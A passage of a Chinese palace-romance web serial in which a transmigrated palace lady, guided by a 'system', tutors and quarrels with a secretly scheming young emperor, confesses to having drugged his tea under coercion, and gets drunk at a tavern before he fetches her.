少年天子睁着湿漉漉的眼看她,哭过的眼还红着,看起来像小鹿,眼睛很亮。 “那黛姐姐现在要开始教孤了吗?” 云黛还在想他刚刚哭泣的模样,没反应过来,“教什么?” “男欢女爱的礼仪。” 云黛差一点被自己口水呛到。 “我,我还没准备好呢。”说话的声音越来越小,云黛想着要骆明烛再给她点时间缓缓,结果就看到他抬手捏住他自己衣领,解开扣子,就要脱衣服。 “你干什么?” 眼前一幕看着分外荒谬,她说话的语气不由得加重,结果骆明烛一副被她吓到的模样,保持着拉自己衣衫的姿势,不解问。 “不是黛姐姐说的,这是第一步吗?” 云黛脑子僵了会,反应过来,想回到过去打自己一下。 “你说得对。” 她笑不出来。 正想打岔混过去,就听骆明烛问自己:“那第二步呢,亲吻是第二步吗?” 云黛呼吸一滞,还没说话呢,唇上传来柔软的感觉,隐约间似乎还有什么湿润的东西扫过唇缝。 震惊的眼 里倒映出少年天子含笑的脸庞。 “孤学会了。” 云黛瞳孔震颤。 不是这么学的!—— 作者有话说:感谢小天使们的营养液! 第29章 天知道骆明烛亲上来的时候,云黛脑子里想的是什么。 那晚差点真被他扑倒,还有前几天晚上的春梦,随便一想都是不能写的画面,简直了。 她呆愣了许久才找回自己理智,一把推开骆明烛,一个劲地后退,结果没注意到椅子,直接摔地上去了。 给她摔懵了。 “尚仪大人没事吧?” 少年天子站起身,却没有走过来,隔着矮桌关心问她。 云黛保持着屁股坐地上的姿势呆愣了会,摇头,“没事,我没事……” 她看起来魂已经不在身上了。 骆明烛稍稍歪头,就这么看着她,也不去拉她起来。 那日她带春宫图来,还要教他男欢女爱,本以为她对这种事很了解,现在看来,和他一样。 不过亲一下便这么大反应,还敢来教他。 胆子不小。 云黛慢吞吞起来,把椅子扶正,刚要坐下,飞快看了眼骆明烛,把椅子往后挪了点,这才坐下。 已经说不出来什么话,脸烧得发烫。 她是真没想到,她就教了个脱衣服,人家就会举一反三亲上来了,那后面就不用她教了,还教什么教啊,直接做最后一步了! “系统,书里骆明烛有这么做吗?” 系统立刻回答:“没有。” 云黛深吸一口气,真想给系统投诉了,什么破书,都不按照剧情走! “陛下你,你是从哪里……” 少年天子不解,以为自己做错了,垂下头,低声道:“孤这么做,不对吗?” “也不是不对……” 太对了,对得简直不能再对了,不愧是小h文主角,无师自通啊! 云黛深呼吸,让自己先冷静下来。 但是她发现自己做不到! “陛下我现在心脏不太舒服我要回去休息一下等一会我再回来!”一口气说完,掉头就跑。 她跑得太快,根本没有发现身后的人在她转身之时,瞬间变得戏谑的眼神。 骆明烛就这么看着她落荒而逃,待她跑出寝殿,面上所有表情卸去。 小福子进来时,只看到他提笔在写字。 “陛下,尚仪大人怎么又跑了?” 云黛已经跑了好几次了,走便走,跑什么呀? “随她。” 骆明烛停笔,盯着自己写出的“云黛”二字,意味不明地说了一句:“她跑不了。” 小福子想了想,还是忍不住问:“那陛下,那晚的事,您与尚仪大人说清楚了吗?奴才看她的性子,极有可能不愿成为您的妃子。” 骆明烛抬头,锐利的眼神射向小福子,叫他哆嗦了一下。 “你觉得孤该纳她为妃,才是最好的解决办法?” 小福子涨红了脸,小声说:“那晚您和尚仪大人不是那样了吗,不这么做,是不是不太负责啊……” 骆明烛似笑非笑地看他,小福子立刻闭嘴,没敢再说。 “去把窗户都开了,将那红灯笼挂上。” 骆明烛几笔将纸上的云黛二字覆盖,眼底笑意幽深:“待会云尚仪回来,孤该好好接待她才是。” 小福子立刻照做。 云黛本来是想教骆明烛更进一步的,但是人家贼聪明,跳着学,都不用她教。 跑出乾坤宫,没跑几步就累得停下来,回头望了眼,脑子里又冒出骆明烛眼尾挂泪喊自己黛姐姐的模样,我见犹怜,把她拿捏得死死的! “妖精!他定然是被妖精附身了!” 系统幽幽冒泡:“我看你是鬼迷心窍,被美貌迷了眼睛。” 云黛理所当然:“长得好看我多看两眼怎么了,你拉我来这本书里走剧情的时候可不是这么说的。” 系统:“我只是让你走剧情,没让你看骆明烛的脸。” 云黛呵呵一声,不客气嘲讽系统:“没感情的机器是不懂我们凡人的。” 把系统怼得没声音,回了房间,本来想倒腾倒腾自己,一坐下来骆明烛就从脑子里冒出来,赶都赶不走。 越想越觉得不对劲。 那天晚上骆明烛亲自己,还能用被桃花散影响了解释,那刚刚呢,刚刚他真的是以为接下来要教他的就是亲吻? 这么解释没没什么问题,但就是很奇怪啊! 谁没事亲自己的老师啊! 云黛哼唧一声,自己吐槽自己:“我也不算他老师吧……” “再说了,小鲜肉不吃白不吃。” 系统突然冒出来:“你之前可不是这么说的,你之前还把骆明烛当孩子当弟弟!” “哦,”云黛没所谓,脸不红心不跳,“你就说我那个世界,和他一样岁数的,有他好看有他这样的腹肌吗?” 系统沉默,不理她了。 话是这么说,但还是很尴尬,这事已经朝着不可控制的方向发展了。 “对了系统,袁络仪什么时候给骆明烛选妃。” 系统声音硬邦邦的:“在原身死了半年后。” “那我得快一点,袁络仪给他选了妃子,一定会让她们监视骆明烛,到时候我的计划就没那么容易进行了。” 云黛收拾了一下一下自己,出宫去找贺雁山。 守卫没拦她出宫,看来袁络仪并没有打算要将她的权力彻底收回去。 贺府依旧客客气气把她请进去,贺燕林一见她,笑得分外开心。 “尚仪大人今日怎么来了,也不提前说一声,我也好叫府里准备准备。” 她说着,把带来的点心放到桌上,让云黛吃。 云黛正好有点饿了,也不矫情,吃了一块后和她说:“你兄长最近有时间吗?” 贺燕林听她这么一问,双眼一亮,立刻点头:“有的,他下朝后就会回来,现在正在府里呢,尚仪大人要与他见见吗?” 云黛摇头,只叮嘱她:“麻烦你转告他,就说不要忘了我对他说过的话。” 贺燕林更是好奇她和贺雁山都说了什么,难道说,他们俩有戏 “那我先走了,改日见。” 贺燕林本来想挽留她,转念一想,迫不及待想去问贺雁山他和云黛现在究竟是什么关系,便只送到门口,看着她离开。 随后快步去贺雁山书房,敲了敲门,听到里头响起的声音,才进去。 “哥,尚仪大人方才来了。” 贺雁山抬头望她,问:“是为何事而来?” “尚仪大人让我提醒你,不要忘了她对你说的话。”贺燕林笑着走过去,好奇问:“哥,你是不是和尚仪大人见过好几次了?” 贺雁山正了脸色,知道云黛是为骆明烛而来,心头一跳,有些心不在焉。 “她可还在?” 贺燕林摇头,“只待了一会,便离开了。” “我知道了。”贺雁山合上书册,拿上外袍,起身往外走,边走边嘱咐贺燕林,“此事不要对外提起,若是有人问起你与云尚仪的关系如何,你只说点头之交,并不熟。” 贺燕林一见他面露严肃,知道此事并非自己想的那样,认真点头,保证道:“哥,你放心,我不会乱说的。” 贺雁山出了贺府,命马车去了郊外一处小院,推开紧闭的门走进去。 一个时辰后,一道黑影悄无声息地落到寝殿内,将信双手递给骆明烛。 信件展开,骆明烛看完,将其烧毁。 朝那暗卫做了个手势,暗卫离开。 骆明烛敲了敲桌面,面上露出笑, “这么久未回来,原来是去见贺雁山了。” 信里是贺雁山以为云黛来贺府,是他要吩咐贺雁山去做事,但云黛没有直说,便来问他。 云黛会去贺府,也是为了他。 “唔……”少年天子有些犯难了,“你这般在乎孤能不能扳倒袁络仪,若是孤失败了,你岂不是会很伤心?” 他忽然想起云黛哭的那次,已经忘记她为什么会哭了,但很想再看她哭。 可若是他失败了,怕是没机会看到她哭。 那还是将袁络仪杀了吧。 骆明烛缓缓笑了一下,这是云黛熟悉的,纯粹单纯的笑意,很容易欺骗人的眼睛,以为他真的只是个单纯的,被掌控命运的傀儡皇帝。 小福子声音传来,语气里的欣喜怎么都藏不住:“陛下,尚仪大人回来了!” 骆明烛本来已经收回去的笑容再度浮现,嗯了一声。 小福子还在外头和云黛问东问西。 “那晚你突然就跑了,陛下被你丢下,你都不担心吗?” 云黛一愣,差点忘了问:“那晚我走后,陛下身子有没有不适?” “那倒没有。”小福子犹豫着不知道该不该问,万一云黛没那个心思,他问了,会不会与陛下产生隔阂。毕竟好不容易有个愿意接近陛下的人,很难得啊。 他那想问话的眼神落到云黛眼里,一猜就知道他在憋个大的,绝对不能理。 “我先进去了。” 说完就溜,小福子彻底没机会问。 他瞅着云黛进去的背影,想了想,猛地一点头,肯定道:“她必定是有那个心思的,带了那东西来见陛下,还扒陛下衣服,那晚还有了肌肤之亲,要说她对陛下没那心思才怪呢!” 云黛是没想到自己已经被安上了个对骆明烛图谋不轨的头衔,现在正坐在骆明烛对面,板着脸,一本正经道:“陛下,我方才出去缓了缓,已经缓得差不多了。” 少年天子看着她,缓缓道:“尚仪大人这一缓,缓了近两个时辰,孤以为你不会来了。” 云黛尴尬,这不是出去给他找帮手嘛,路上去各家大臣家附近兜了一圈,不太好进去,只能先回来。 “那我们现在开始今天的课程?” 见到骆明烛点头,云黛将自己带过来的书本翻开到打算让他学的那页。 “喏,就是这个。” 她翻开的,不是春宫图,而是一本大儒所写的治国之策。 她指的位置,正是这本书册最核心的内容:“民为重,社稷次之,君为轻。” 骆明烛轻轻呀了一声,抬眸看面前的人,她神情认真,低头望着书册,在说话。 让他读懂这书册的内容,做个好皇帝。 骆明烛面上忽然露出了笑,那笑意味不明,不知是讽刺,还是夸赞。 云黛没注意到,她想的是之前已经算是完成了袁络仪要她干的活,现在轮到她教点真东西了。 反正也不指望骆明烛能一下子看懂,至少教这个东西,自己不会被扑倒。 奇怪的是骆明烛这次出乎意料地聪明,一点就通,弄得云黛对他刮目相看。 “你是自己背地里用功了?” 云黛上学的时候,她的同学就是这么干的,你问她有没有复习有没有预习,她说没有,实际上人家自己花了时间去学的。 骆明烛说没有。 云黛不信,他肯定自己偷偷学了,不过也没觉得有什么,最好骆明烛天天偷偷学,然后刷一下就厉害得能踹飞袁络仪! “那我们继续?” 少年天子乖巧点头。 云黛继续讲,将上头的字都念了一遍,念得口干舌燥,声音都哑了。 骆明烛听着她说话,不动声色地打量她,明明这种事吃力不讨好,她还要做,是该说她善良呢,还是天真。 他开口打断她,“尚仪大人需要喝茶吗?” 云黛正讲到兴头上,顺口就拒绝了,回过神来嗓子确实哑,想说喝又不好意思,就听骆明烛说他自己想喝。 “那行,我去跟小福子说。” 她一下就站起来,往外走。 骆明烛将她摊开的书合上,眸子里划过不屑。纸上谈兵的玩意,一点用处都没有。 云黛自己端着茶盏回来了,给骆明烛和自己倒了茶,不等骆明烛喝,自己先干了一杯,嗓子瞬间活过来。 “陛下,我有件事想问你。” 少年天子端起茶递到唇边,并未饮,放回桌上,眨了眨眼,说:“尚仪大人请问。” 云黛有点紧张,问他:“如果你不是皇帝,你想做什么?” 这个问题问得很奇怪,他们现在遭遇的一切,没有一件事能引出这个问题。 所以她问这个,是基于她自己的处境。 骆明烛扫过她紧张的脸,再看她带过来的书册,最后落在茶盏中微微晃动的茶水上,低垂着眼睫,声音有点沮丧。 “孤不知道。” 他看起来确实对这个问题不知该怎么回答,云黛有点郁闷,说实话真要他去扳倒袁络仪,以他现在的能力,应该没法扳倒老巫婆。 得想办法让贺雁山拉拢其他大臣。 “那就先不想这个,陛下只要把书里的东西学会,就很好啦。” 云黛把茶盏放到一边,打开书页,动作一顿,奇怪道:“我走的时候应该没有合上。” 她没多想,翻到之前念的那一页,给骆明烛解释出来意思。 实际上这些骆明烛都知道,但很有耐心地听她念,这些东西于他学的所有内容而言,不过是凤毛麟角,不过她既然这么有兴致教,听听也无妨。 但总有人来打扰他们。 小福子走进来,说:“陛下,尚仪大人,王嬷嬷来了。” 一听王嬷嬷来,云黛见鬼似的把书一收,左看看右看看,拉起骆明烛就往屏风后面跑。 小福子看得瞠目结舌,还没反应过来,王嬷嬷就进来了。 此时云黛已经拉着骆明烛跑到屏风后,将人按倒在床上,掀开被褥把书册往里面一藏,盖好被子按住不放,扭头看外面。 屏风后面冒出一前一后两个人影,前面那个就是王嬷嬷。 “尚仪大人为何——” 情急之下云黛只顾着躲藏,没意识到自己压在骆明烛身上。 她捂住骆明烛的嘴,在他耳边低声说:“别说话,王嬷嬷是来监视我们俩的。” 骆明烛缓缓眨了一下眼,偏头与她看向同一个发现,眼角余光看到她紧张得眼睛都不眨,忽然冒出了个邪恶的念头。 “陛下,太后命奴婢来看看您,顺便来监督云尚仪可否履行了自己的职责。” 云黛回头用眼神示意骆明烛不要说刚才他们干了什么,等他眨了眼,才松开他。 但还压在他身上。 “陛下?” 王嬷嬷听了半天也不见里头有声音,刚要进来,就听到云黛惊呼声。 云黛不是故意要叫的,她是被骆明烛突然的动作吓到了! 就在王嬷嬷要进来时,骆明烛忽然抱住她站起来,下一秒他坐在床沿边,让她坐在他腿上。 她被抱起来的时候,好像被他抛了一下,余光都能越过屏风看见后面站着的王嬷嬷! “陛下,你们在里面干什么呢?” 云黛急忙搂住骆明烛肩膀,冲外头说:“臣在教陛下,不方便来见你。” 她的声音有点抖,听起来还真有点像在做那事。 王嬷嬷阴沉脸,但没进去,她来就是为了看云黛到底有没有按太后说的去做,如今这次突击检查也算是成功,这两人确实在做那档子事。 她阴笑着:“既然如此,奴婢就不打扰了,陛下可要记得,过些日子去谢谢太后。” 她说完,退了出去。 小福子没敢进来,他想着刚才云黛拉着陛下进去躲避王嬷嬷,意识到这是不能让王嬷嬷发现她教给陛下的东西。 不由得恨恨想,连云黛都知道要好好教陛下,太后竟然处处责罚陛下,真是毒心肠! 小福子发誓,只要以后云黛不欺负陛下,他就会连着云黛一起保护! 等人走远了,小福子才出声:“陛下,尚仪大人,王嬷嬷走 了。” 里头很安静,没有声音,小福子有点摸不着头脑,但没有担心,一转身,乐呵呵地走了,还不忘贴心地带上门。 屏风后的云黛不是没有听见小福子说的话,她现在是有点头晕,不知道骆明烛脑回路怎么和自己的那么不一样。 她问他刚才为什么突然抱自己,其实只要把王嬷嬷骗走就好了,根本不用这样做。 结果骆明烛一脸无辜还委屈。 “孤只是觉得,这样做能帮到黛姐姐,黛姐姐是在怪孤吗?” 云黛看着他这样就说不出责怪他的话,况且他真的帮到自己了。 “我没有怪你,我只是刚才没准备好。” “那孤是做对了?” 云黛愣愣点头,好像是对的。 少年天子忽然收紧了怀抱,靠近她,目光灼灼:“那孤有奖励吗?” 云黛心口一跳,看着那张毫无缺陷的脸,说:“你要什么奖励?” 骆明烛幽深的眼瞳锁定她,缓缓笑了。 “黛姐姐能给孤什么?”—— 作者有话说:抱歉,晚了点[摸头] 第30章 “什、什么?” 云黛意识到骆明烛说了什么后,大脑有一瞬间的宕机。她就不该说那句话,怎么就变成了她要给骆明烛奖励了? “我,你……”手还抵在他胸口,下意识一推,根本推不动,还硬邦邦的。 思绪乱做一团,想说些什么,可一看到他靠得极近的那张脸,什么话都说不出来了,更别提要拒绝他。 “黛姐姐是要拒绝孤吗?” 少年天子又靠近了些,用他那张极具攻击力的脸,再加上小狗一般委屈的眼神,根本招架不住。 云黛直愣愣说了一句:“那你想要什么?” 话音刚落,就开始后悔。 骆明烛笑了,“孤想知道,孤那晚突然很难受,是与黛姐姐有关吗?” 云黛心中一个咯噔,大脑轰的一声,不敢看骆明烛的眼睛,心虚移开眼,支支吾吾没有说。 “孤想要黛姐姐告诉孤实情,这个就算是给孤的奖励。” 骆明烛再度收紧双臂,不给她逃离的机会。已经跑了三次,这次若是还跑,接下来,他不会再对她这般温柔。 西斜的日光投射进来,落在云黛身上,她被抱着坐在骆明烛腿上,还保持着方才直起上半身的姿势,这样的姿势令她比骆明烛高了些,低着头看他,远远看着,像是恋人对视,确实有几分温馨。 但实际上,云黛心虚还坐立不安,总感觉骆明烛浑身都是刺,被他抱着,哪哪都不舒服。 “我其实……” 她在犹豫。 “嗯?”骆明烛发出一声慵懒的音调,云黛此刻在想着要怎么解释,没有注意到眼前的骆明烛看她的戏谑目光。 只要她仔细看,就能发现这个抱着自己的少年天子与她印象中的人,完全不一样。 他那双眼几乎能洞察她所有的情绪,好整以暇地看着她想借口,实际上根本不在乎她怎么解释。 即使她再次说谎骗他,他也不会去戳穿。 他想看的,只有她费尽心思去想若何欺骗自己的过程,看她脸上丰富多彩的表情,最好还能哭出来。 她已经很久没有哭了,上次是因为什么而哭呢? 骆明烛想起来了,那是她在愧疚,对自己做了那样的事后,她愧疚得哭了出来。 可是他想看的,不是她愧疚的眼泪,但她只要哭,不管是愧疚还是别的,都可以。 “黛姐姐不愿意告诉孤吗?” 他忽然低了头,像那晚一样,脸颊埋在她脖颈间,轻轻蹭了蹭。 能明显感觉到怀里的女子身子僵住,骆明烛额头低着她肩头,无声地笑了,他控制着自己的身体不要将这份愉悦表露得太明显,还是用那种委屈的语气问她。 “黛姐姐其实不喜欢孤吧。” “没有!我喜欢啊!” “那为何,黛姐姐不愿说。” 他埋在云黛肩头,说话的声音闷闷的,听起来情绪很低落。 垂落的发丝蹭到她脖颈,有点痒。 云黛忍了好一会,本来是打算将痒意忍下去,谁知道越忍越痒,实在忍不住了,抬手拨弄了一下,瞬间不痒。 “那你松开我,我告诉你。”云黛刚给骆明烛下药的时候,确实心虚,但两天过去,再一看骆明烛这乖巧的样,还从袁络仪那救了自己,立刻活过来了。 等了会,骆明烛从她肩头抬起脑袋,却没松开她。 “不松。”他坚定不移,“松开了,黛姐姐又要跑了。” 云黛目瞪口呆,只能随他去了。 前几次会跑,是因为他的骚操作啊,谁能受得了,再说了她又不是个没有担当的人,怎么可能回回都跑。 “那天晚上,确实是我做的。” 云黛直说了:“我在给你端的茶水里放了桃花散。” 少年天子疑惑,问:“那是什么?” 云黛更愧疚了,他居然连这是什么都不知道,她居然真被威胁到,真给他下药! 都想骂自己一句了。 “你那天晚上难受,就是这个引起的。” 云黛继续说,“我带了解药,就是那个花瓣,我本来是想给你吃的,但是一直找不到机会,后来我不是塞了一把给你——” “原来是尚仪大人让孤那么难受啊。” 云黛一听,确实是她干的,点了头,刚要说话,就听到他陡然降下来的声音。 “尚仪大人果然不在意孤。” 云黛一个激灵瞬间回神,刚想解释自己是被威胁的,腰间一紧,被他提着腰轻轻松松放到地面,随后就看到骆明烛转身背对自己,一副不想见她的样子。 “孤乏了,想休息,尚仪大人先离开吧。” 云黛眨了眨眼,傻了。 刚才不还好好的吗?他怎么突然生气了? 她赶紧解释:“我不是故意要那么做的,有人威胁我!” 少年天子明显不相信:“谁敢威胁尚仪大人?” 云黛脱口而出:“是个黑衣人,那天晚上他把我拖走,直接塞了桃花散给我。” “他是谁?” “我不知道。”云黛哪知道是谁啊,要是知道直接提刀去刀那个黑衣人了。 “为何那晚,尚仪大人不与孤说呢?”少年天子转过身来,看清楚他表情的瞬间,云黛心里只有一个念头。 遭了! “孤说过,孤在意尚仪大人,孤愿意将自己的伤疤给尚仪大人看。” 他都不喊她黛姐姐了! “可是尚仪大人不相信孤,宁愿听那个黑衣人的,也不愿告诉孤。” “我只是……” 云黛忽然觉得心口抽痛,她确实没有告诉骆明烛,一开始想的也是先把药下了再告诉他。 但是那晚发生的一切太超出她的认知了,本来打算第二天再说,结果被袁络仪关起来了,根本没机会。 那她现在不是说了吗?这都不行? “孤有些难受,想单独待一会,尚仪大人请走吧。” 他说完,侧着身子不看她。 随便瞧一眼,浑身散发着忧伤的气息,一副被伤透心的模样。 云黛越看越委屈,明明自己也被威胁,不止袁络仪威胁她,还有个黑衣人,她能怎么办,告诉了骆明烛,他就能保护她?他自己还被袁络仪拿捏着呢! “我没有要害你的心思。”本来说完这句她就要走的,但是想到骆明烛说他在意自己,心中忽然泛酸,还有点气。 “我没有不相信你,你爱信不信,哼!” 云黛一跺脚,转身就走出去,没走两步,跑起来了,直接奔着殿门跑。 待她出去,一黑衣人落在骆明烛身侧,跪下来,将手中信陈上。 “萧大将军有急信。” 骆明烛转身,目光掠过屏风,短暂地停留,视线落在暗卫身上,沉默片刻,接过信件。 外头忽然传来一声叫唤,骆明烛展开信件的手一顿,若无其事地继续去看信。 云黛在外面和小福子吵架。 “我不来了,谁爱来来吧,我才不来,你以后都不要去我那叫我,我要一觉睡到天黑!再也不起早摸晚跑过来。” 小福子不明白她怎么突然又生气了,但她这么说话,他也不高兴。 “你是不是和陛下有什么误会?陛下很少会让人生气的,是不是——” “不是!”云黛像是炸毛的猫,一点都不能碰,“我们没有误会,误会都说开了!” 她都说了是有人威胁,他不信,还一个人待一会。待吧待吧,她以后再也不来了,他一个人想待多久就待多久。 “陛下很在乎尚仪大人,你只要去解释解释,陛下定然不会生气。” 云黛哼了一声,声音有点控制不住了,“我已经解释过了,爱听不听。” 再多说一句,她就要哭出来了。 本来她很少哭的,谁知道一遇到骆明烛就哭了两回,真丢脸。 “尚仪大人,你——” 小福子的话没说完,云黛已经跑了。 “究竟是怎么了,尚仪大人怎么那么生气?她看着不像是情绪容易激动的人啊。” 小福子想了好半天,打算去劝劝骆明烛,云黛一走,就真没有人帮他了。 等他进去时,寝殿内只有骆明烛一个人。 小福子只看到他在屏风后的身影,没听到一丁点声音,忽然有点发毛。陛下确实生气了,云黛也生气了,他该怎么办,才能把两人哄好? “那个,陛下,尚仪大人又走了。” 里头传来冷声:“不走,让她在孤这留宿吗?” 小福子心道这两人今日究竟是发生了什么,怎么一个个说话都跟吃了火药一样。 “奴才是想着,陛下与尚仪大人之间应是没有太大的矛盾,不至于气成这样。” 里头却传来一句与他说的完全不相干的话:“她哭了吗?” 小福子一愣,不知道他为什么会问这个,仔细回想,摇头迟疑道:“该是没有哭的。” 骆明烛低低笑了声,回想云黛走之前说话的调子,明显在哽咽,多说一句,就要哭出来。 可惜,他有要事要处理,看不到她哭。 “孤要休息,你退下吧。” 小福子应声,落下窗户,后退着离开。 咔哒一声,门关上。 云黛关了门往床上一扑,喊系统出来。 “我要把袁络仪刀了。” 系统已经见怪不怪了:“你准备怎么刀?” 云黛却说了另外一句话:“我以后再也不去骆明烛那了。” 系统:“你说的,你再去你就是小狗。” 云黛忽然狞笑:“等着吧,等我扳倒袁络仪,把骆明烛拉下来,我自己当皇帝。” 系统:“加油。” 下一秒云黛嚎了出来:“我又不是故意瞒着他的,再说了我也准备了解药,我那么努力喂他吃解药,还被他亲了,我还委屈呢。” “他说他在意我,那怎么不听我把话说清楚,还赶我走。” “呵,男人没一个好东西。” 系统跟着附和:“你说得对,男人没一个好东西。” 云黛忽然骂它:“你也不是好东西!” 系统:“……” 它要是能绑定骆明烛,做的第一件事,就是让骆明烛来哄她。 30-40 第31章 很烦,非常烦,明明她不在乎这些人是什么反应,只要把小命保住,管他们怎么想,她自己活自己的就好了。 但骆明烛那么说,她就是很烦。 “这要是在我那,我高低得问个清楚,我还要多说几句,让他知道世间的险恶。” 现在就是很难受,她也不是故意那么做的啊,再说了他又没出事,不都喂了解药。 云黛拍了几下被褥,哇的一声骂出来:“都不是好东西!” “你不要太难过了,换个角度想,你在乎的人对你做了这种事情,你高兴吗?” 云黛一抬头,哼了一声:“说清楚原因就好了,我又不是不讲道理的人。” 系统觉得也是,附和道:“那还是等骆明烛消气了,你再去吧。” 云黛呵呵,“他生气,我还生气呢!” “不行,我就是想不通,我要去说个清楚,这事不说清楚,我咽不下这口气,我睡觉都不安稳。” 结果她跑去乾坤宫,小福子都没见着,直接被宫女拦住。 “陛下已经歇下,尚仪大人待会再来吧。” 云黛不是那种会死缠烂打的人,她会执着一件事,要么就是她心里很在意,要么就是责任使然。 都已经回来特地要和骆明烛讲清楚,结果见不到人。 说是休息,谁大白天在房间里睡觉,就是不想见她! 云黛一跺脚,掉头走了。 直接往宫门走。 什么破地方,不待了!这么多天累死累活两边跑,不是被扣工资就是被关小黑屋,现在还被拒之门外。 “我不待了!” 云黛直接出了宫,连马车也不要,直接徒步走,越走越快,越走越气。 “我,纡尊降贵,特地回去给他解释,哄他,结果连面都见不到,当个皇帝了不起了,让个宫女拦着我,不让见是吧,我以后再也不见了!” 云黛又不是没脾气,再说了她都说得那么清楚,有人威胁她,她没和那黑衣人联手,没和袁络仪狼狈为奸真害骆明烛已经不错了。 他倒好,一句要休息就把她赶走。 “呵,都不是好东西。” 走着走着,听到后方响起马蹄声,回头一看是辆马车,云黛直接招手,拦下马车,载着自己去集市。 苦了谁都不能苦了自己。 云黛秉持这样的理念,去了那家酒楼,点了好几个菜,还点了一壶酒。 倒在酒杯里小小抿了一口,有点辣。 吃了口菜压压,再抿了一口,越喝越上头,而且菜也好吃。 本来她是不会这么奢侈的,但今天被气到了,就是想发泄。 喝着喝着,觉得脸有点烫,脑袋还有点晕,她没在意,继续喝,等小厮来收钱的时候,直接把身上戴的首饰全塞给小厮,还笑了几声:“这些可值钱了。” 小厮确实看出来很值钱,但她给多了,退还了些回去,她不要,还硬要塞给他。 小厮认得出云黛身上穿的衣服料子不一般,不敢昧下,该收多少就收多少。 见她醉酒,不放心,问她:“姑娘,你有人来接?” 云黛摇头:“没有了盆友,没有了没有了……” 小厮一看已经空得差不多的酒壶,再一看桌上吃得差不多的菜,想了想,还是问:“姑娘,你家在何处,不若我去通知你家人一声,叫他们来接你?” 云黛哇的一下哭出来:“我没有家人了。” 小厮吓得往后退了一步,左看看右看看,周围没什么人注意到,松了口气,差点还以为自己要被说欺负这位姑娘了。 “可你这醉了,没人接,自己又走不了——” “谁说我走不了?你这是要赶我走?” 云黛猛地一抬头,眼神凶狠地盯着他,哼笑一声,大手一挥,把剩下的首饰往前一推,豪气一喊:“给我上你们这最好的菜,最好的酒!我还能喝!” 小厮:“……” 小厮叹了口气,接了首饰,边走边摇头,来这喝酒喝醉的客人基本上都是生活中遇到不快,这个时候你要是劝他不要喝,他还来劲了,跟你一顿掰扯。 最好的选择是别管,等喝晕过去了,找两个人抬出去就好。 云黛又喝上了第二轮,半醉半醒间发现自己酒量还挺好,这都没有醉。 “系统,我厉害不。” 系统只恨自己为什么没有长了一双能伸出去把她拍醒的手。 “厉害。” 云黛嘿嘿笑了一声,继续吃菜。这家酒楼的菜真的好好吃,比皇宫里的好吃多了,比她点的外卖都好吃。 “我要去跟厨子学艺,我也要当厨师。” 系统:“你醉了。” 云黛:“我没有醉。” 她一拍桌子,端起酒杯,朝周围人一吼:“接着奏乐,接着舞!” 周围诡异地安静下来,全都朝她看去。 刚上楼的人被这声音吸引,仔细一瞧,觉得有些眼熟。女子面颊飞上红晕,双眼朦胧,唇红齿白,醉酒后媚态横生,尤为吸引目光。 那人定眼一看,认出来了。 “嘿呦,这不是巧了,前些日子我与这位姑娘见过。”郝建走到云黛面前,眯起眼打量她,那眼睛黏在她身上,眼神露骨。 “姑娘何故在此独自喝闷酒啊?” 云黛不想理他,抱着酒壶往外走,前路被人挡住,她抬头,不悦瞪他:“让开。” 郝建笑了,纹丝不动:“我瞧着姑娘你喝醉了,身边又没个人照顾,不如跟着我走,我府里备了醒酒汤,姑娘喝上一碗,立即清醒。” “宿主,不能跟他走!” 此路不通,云黛掉头换个方向,结果又被堵住。 “你干嘛!” 云黛有点生气,她不就是想喝个酒,这都能被打扰。 郝建笑嘻嘻:“姑娘不如再与我饮一杯,我知这酒楼里,什么酒最好喝。” 云黛眨了眨眼,忽然说了好。 郝建真点了酒楼里最高档的酒,亲自给云黛斟了一杯,本以为这酒劲强,她喝不惯,结果那么巴掌一小壶,几乎被她一个人全喝了。 他又点了两壶,自己没喝上几杯,几乎全被云黛喝了。 此乃酒楼中最珍贵的佳酿,一壶价值百金,他不是喝不起,只是为了这么一个女子花百金,不值当。 他没再加,琢磨着要怎么把她带回府里。 谁知云黛喝完就要走。 他赶紧站起来把人拦住,刚要将人拉回去,就见她扬起手,朝他身后招手。 “贺大人,你也来啦!” 云黛一把扒开郝建,冲不远处走来的贺雁山走去,脚步有点不稳,但没摔倒。 小厮一见贺雁山找到人了,狠狠松了口气,幸好有人找过来,否则她要是在这出了事,那可就麻烦了。 郝建一看贺雁山,脸沉了下来,走过去讥讽几句:“贺大人也会来这地方?” 贺雁山扫过他们先前坐的位置,一看上头放着好几个酒壶,再一看云黛此刻醉醺醺的样,蹙眉道:“人我接走了,世子请便。” 郝建嘿呦一声,到手鹅子就这么飞了! 他本来想追上去把人抢回来,结果被俩大汉拦住,还亮出了刀柄,只得忍下这口气。 “好你个贺雁山,敢在我手里抢人,你给我等着!” 贺雁山没有理他,虚虚扶着云黛,带她出去。路上听着云黛说话,但没有应声,一次都没有看她。 外头已经天黑了,灯笼挂起,人影攒动。 走了一段距离,来到一辆马车前,他正要将云黛抱上去,却出来个黑袍人,先一步将云黛抱进马车。 贺雁山愣了下,一个激灵回神,当即上了马车。 车夫驱使马车离开。 “您怎会亲自来了?” 抱着云黛的人正垂头,指腹擦去她唇边的水渍,将她按在自己怀里,不让她动。 骆明烛头也不抬,说:“前面路口停下,你自己回去。” 贺雁山应下,欲言又止。 感知到他看过来的目光,骆明烛抬头,眼神犀利,“怎么,你有话要说?” 贺雁山确实想说话,但知道自己这话说出来也没用,掐头去中间,说了个尾:“臣是觉得,您亲自来,太过冒险。” 回答他的是一声冷呵,他立刻低了头,不再说一句。 马车行驶到路口,贺雁山下了马车,看着马车离开,片刻后又一辆马车行驶过来,他收了看到骆明烛出现时惊愕的思绪,上了马车。 而云黛此刻很不舒服,总感觉有藤蔓缠在身上,越勒越紧,很难受。 她去扯那藤蔓,反倒被藤蔓缠住了手,还挣脱不了。 “松开——” “黛姐姐怎么会去酒楼?” 云黛哼了一声,回答这个问话的人:“我心情不好。” 她又去扯那藤蔓,这次倒是松了些,但是躺着的地方好像有石头,很硌人。 动了几下,找了个舒适的位置,眯起眼,美滋滋躺好。 那个声音又问:“为何会生气?” 云黛想了想,脑子有点混沌,想到什么就说什么。 “因为骆明烛惹我生气了!” 这句话直接打开了云黛的倾诉欲,在酒楼里那么久她都没说,这次一股脑全说了。 “我都解释了,我被威胁了,他不相信,他还赶我走。” “亏我还担心他会不会出事,我还守了他那么久,我要是不在意他,我给他吃了桃花散我就直接跑了!” “不是好东西!” “坏得很!” 她今天喝了有六七壶酒,酒壶不大,算起来也不多,但酒劲强,人还是醉了。 骆明烛能闻到她身上淡淡的酒气,不重,也不刺鼻,与她身上的味道混合,有种说不出来的感觉。 他很喜欢。 